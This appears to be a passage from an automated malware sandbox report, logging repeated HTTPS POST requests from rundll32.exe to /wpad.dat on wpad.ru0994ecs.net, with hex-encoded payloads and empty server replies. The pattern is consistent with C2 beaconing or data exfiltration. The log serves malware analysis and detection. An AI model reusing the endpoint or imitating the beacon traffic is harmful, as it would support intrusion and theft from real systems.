2024-04-16 13:37:45 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:45 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lZUuRRUWZ6QC2nVn1G9igFnTi%2F1H%2FDFB2d%2BULSj8NB1uKlm0RH0sCaR0EsNbnhttCQD%2FXoIvyIVlG9EwckzZY3DeGqefEoVETge3ZornqMr8%2FuhF57x9l49KjTudrYlrKveg9T4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875492628fd8ad86-ATL
2024-04-16 13:37:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.8	49859	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:45 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:45 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:45 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TSxkewGAeYilGTOTsB8Qvxz2d879qgdUFOtMUJQRvF1KR5bqXo3xTmBLWbkQR4cGIRxYyHNF9t3RMf8zzI%2FlZZbyBMX%2FQofznhmIYU1jlyW6nd8kLH3PhAikuem%2BKGqIinHQC%2Bw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875492629c7644e1-ATL
2024-04-16 13:37:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.8	49860	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:46 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:46 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:46 UTC	541	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b%2F4JfIlagH8Tk4cQbSXDurLaiYSUZovHW%2F0eKPn%2BJT16p%2B8RePn1GPMPGiNeenWZEqwdURHo3D3QrpZ%2Fi4KEeeTZ9dsvg0MKr%2BFo3K%2F6eo1jl9O90gorFVJgpP8SNiSJT4VB7l0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754926b8f1fb0cf-ATL
2024-04-16 13:37:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
150	192.168.2.8	49861	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:47 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:47 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:48 UTC	541	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2VU0%2BAQdMKQIk3DmyugDrz96USZ4b%2Bqd4F%2FxDVlX2m%2FD2%2FyxPPF6jFJ2Q2aHORbwGiBLi06%2BMCIM8u%2FzTfMhZYW05r2adY1QDXIpyjZBWVYWLRoChjbwGAlJhBzJDzEi56MBd40%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875492734dc653f7-ATL
2024-04-16 13:37:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
151	192.168.2.8	49862	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:47 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:47 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:48 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BvCaQWC%2FD9e7oQ6E4ZDLqll4tAwkVAhiOLMPpM%2FAGbm%2B3f8ZmfxSCUj%2FcJFSSODrrNQIYgkiSKDuIYkTkO3xF7la9bcvfCL6ksaT2HOqfHjKB7XniBRNcss3HdSc9TA7fasmf7Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875492735c9b6769-ATL
2024-04-16 13:37:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
152	192.168.2.8	49863	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:51 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:51 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:51 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EQ%2BBWFUN374RfbNPHSNL9cal9fCJ7L8JHYQe7xtPTcjnsbEw2IuyykdcrmjRImBdCvO6kOM6HWWFdG%2BrixUvqoB7Lr0s7ialL0hnOJ9T2jAQeDIQVScJgOLttAt6r6qOdZVGiLk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875492883a4e6779-ATL
2024-04-16 13:37:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
153	192.168.2.8	49864	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:52 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:52 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:52 UTC	529	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=974gSFsCasCOGkAFJBSybELpZQ3NX6nSrfkRsfUbfnUIN0y9uPzHy6MXH5AyJDlfUy3NMBVnQkUZXoMvuNSFIw1Y3lSUys0Y0yfFCsG0YxYg%2FmMvTy23h4uGfMapLJL4Tch24CI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754928fef79137f-ATL
2024-04-16 13:37:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
154	192.168.2.8	49865	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:52 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:52 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:52 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1ghrdrHdTT%2B5XItxTBHpHkK4zA7vh3CpyPBaL9UcuYJv%2F7Lchr47YEJ1iEbnmp%2BwiCoQV%2FPfdg3q6QAfOFxNMAguWHIQdeZmVRdcRm77l965yPB7aUwnj5XXmi9HldbBD2N6Plo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875492901dfd07e6-ATL
2024-04-16 13:37:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
155	192.168.2.8	49866	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:53 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:53 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:53 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YEmy8nEwYzQuNZNlCt1Fl%2BzdAlZeKPIbWXuGKynlWsoKeNfValwH0zzY6nq33s9E%2BqawxogoS7dmjGJPW35e5U%2BkfBREc0e8oRiNBHUBGGdOtTsq0oZENgj7GqzlSWHLO2bRB9o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87549293e89e4509-ATL
2024-04-16 13:37:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
156	192.168.2.8	49867	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:53 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:53 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:53 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UfvbKUDh1oAjJmkMxGFCaYMC1pKhTb2aGM8r6F%2F0tDEquVlLJJ2YWLpDiTVirna4fFMLDyh3QfXbuEG73l6WetnQELr%2FUny36%2B%2FSxFlSJ8vxUQGBZf9vWTyPvpAdyCsRyfKso6s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754929438c953c3-ATL
2024-04-16 13:37:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
157	192.168.2.8	49868	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:56 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:56 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:57 UTC	547	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FnZhpn%2Bd%2FnF%2Bekalc4Ugsn%2BCO5TgdusTfXxEEuPNA3yliOTFW%2Flu184sjwyldV1ao%2F%2BZCZKpaA0nn13QMJ%2Bcpr9DnaOSocQwxWBL%2B0vwL3%2BvVuHy7m6ZzsJvrd54cQOpBCeSGjo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875492ababe38bbc-ATL
2024-04-16 13:37:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
158	192.168.2.8	49869	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:57 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:57 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:57 UTC	529	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2DjEOj5q4QcB5m0l2tfm7DliXatfWYVlZYQQp8uAQMWGKSMWmjt3Lq6tfMRaPSom0q7zJVkXiYrttoQ9IB04%2B7FHPVTTkjwm7DL9G27eW4sRS6n2FG93XQttqtrjKkO9UItkrKM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875492b06cb9677b-ATL
2024-04-16 13:37:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
159	192.168.2.8	49870	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:57 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:57 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:58 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OipAQuOT9zDJh1iJ3F5jLFVOSWtzboQ1bS3oESQMk%2BsaXa75g9ox5uQbvK9rEE0aULc3BQBXNGPtGyWTh0vJFhl%2BnjKq6KqV6fdu79bumTlU9KmvnBRUhknDaVLuAiO9qQj2inQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875492b0dcc8455e-ATL
2024-04-16 13:37:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
160	192.168.2.8	49871	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:58 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
